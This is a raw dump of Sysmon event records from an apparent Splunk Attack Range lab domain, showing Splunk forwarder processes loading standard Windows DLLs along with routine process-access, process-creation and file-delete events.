Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000056440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000056439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000056438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000056436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000056435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000056434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000056433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000056429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000056424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.082{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:20.083{7BD73061-74E4-613B-A80B-00000000F001}3616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018106Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:21.713{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=927304266D5B031C7A4BF2D6E80BA367,SHA256=6DFAEBCC0D27461CD9C7F30605920541C40C5B357E82BF45ACAAC748F7DB9F44,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000056576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.765{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000056575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.765{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000056574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.765{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000056573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.732{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-062MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000056567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000056565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000056564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000056562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000056560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.581{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 